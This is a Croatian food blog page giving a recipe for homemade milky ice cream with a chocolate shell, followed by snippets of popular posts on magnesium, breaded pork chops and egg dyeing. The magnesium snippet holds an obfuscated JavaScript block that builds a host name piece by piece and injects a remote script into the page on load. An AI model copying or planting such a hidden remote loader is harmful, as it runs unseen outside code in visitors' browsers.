DOMAĆI MILKY SLADOLED




Domaći milky sladoled 



Za razliku od klasičnih sladoleda prepunih aroma i dodataka, ovaj recept osvaja upravo svojom jednostavnošću. U njemu nema voća ni intenzivnih okusa, već je naglasak na nježnoj mliječnoj aromi, slatkom vrhnju i kondenziranom mlijeku koji zajedno stvaraju desert lagan poput moussea, ali dovoljno bogat da zadovolji i najveće ljubitelje slastica.




Domaći milky sladoled 

Sastojci za sladoled:

  • 500 ml slatkog vrhnja za šlag
  • 400 g zaslađenog kondenziranog mlijeka
  • 250 ml punomasnog mlijeka
  • 2 žlice mlijeka u prahu (po želji, za intenzivniji mliječni okus)
  • 1 žličica ekstrakta vanilije
  • prstohvat soli

Sastojci za čokoladnu glazuru:

  • 200 g mliječne čokolade
  • 50 g tamne čokolade
  • 2 žlice kokosovog ulja ili neutralnog biljnog ulja



Priprema:

  • Najprije dobro rashladite slatko vrhnje pa ga istucite u mekani šlag. Nije potrebno miksati do potpuno čvrste teksture jer će se tijekom miješanja dodatno povezati s ostalim sastojcima.
  • U drugoj posudi pomiješajte kondenzirano mlijeko, punomasno mlijeko, ekstrakt vanilije, prstohvat soli i, ako ga koristite, mlijeko u prahu. Smjesu miješajte dok ne postane potpuno glatka.
  • Silikonskom špatulom nježno umiješajte mliječnu smjesu u šlag pazeći da zadrži što više prozračnosti. Dobit ćete vrlo glatku i svilenkastu kremu.
  • Kalup za kruh ili drugu posudu za zamrzavanje obložite papirom za pečenje pa ulijte pripremljenu smjesu. Površinu poravnajte i stavite u zamrzivač na najmanje šest sati, a najbolje preko noći.
  • Pred kraj zamrzavanja pripremite čokoladnu glazuru. Mliječnu i tamnu čokoladu otopite s kokosovim uljem na pari ili u mikrovalnoj pećnici. Miješajte dok ne dobijete potpuno glatku, sjajnu glazuru pa je ostavite nekoliko minuta da se malo ohladi.
  • Smrznuti sladoled izvadite iz kalupa i odmah ga prelijte mlakom čokoladnom glazurom. Zbog velike razlike u temperaturi čokolada će se gotovo trenutačno stisnuti i stvoriti tanku hrskavu koricu koja je zaštitni znak ovog deserta.
  • Prije posluživanja ostavite sladoled pet do deset minuta na sobnoj temperaturi kako bi lagano omekšao. Režite ga na ploške ili grabite kuglice žlicom za sladoled, a po želji ga dodatno ukrasite naribanom čokoladom, listićima badema ili svježim malinama.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više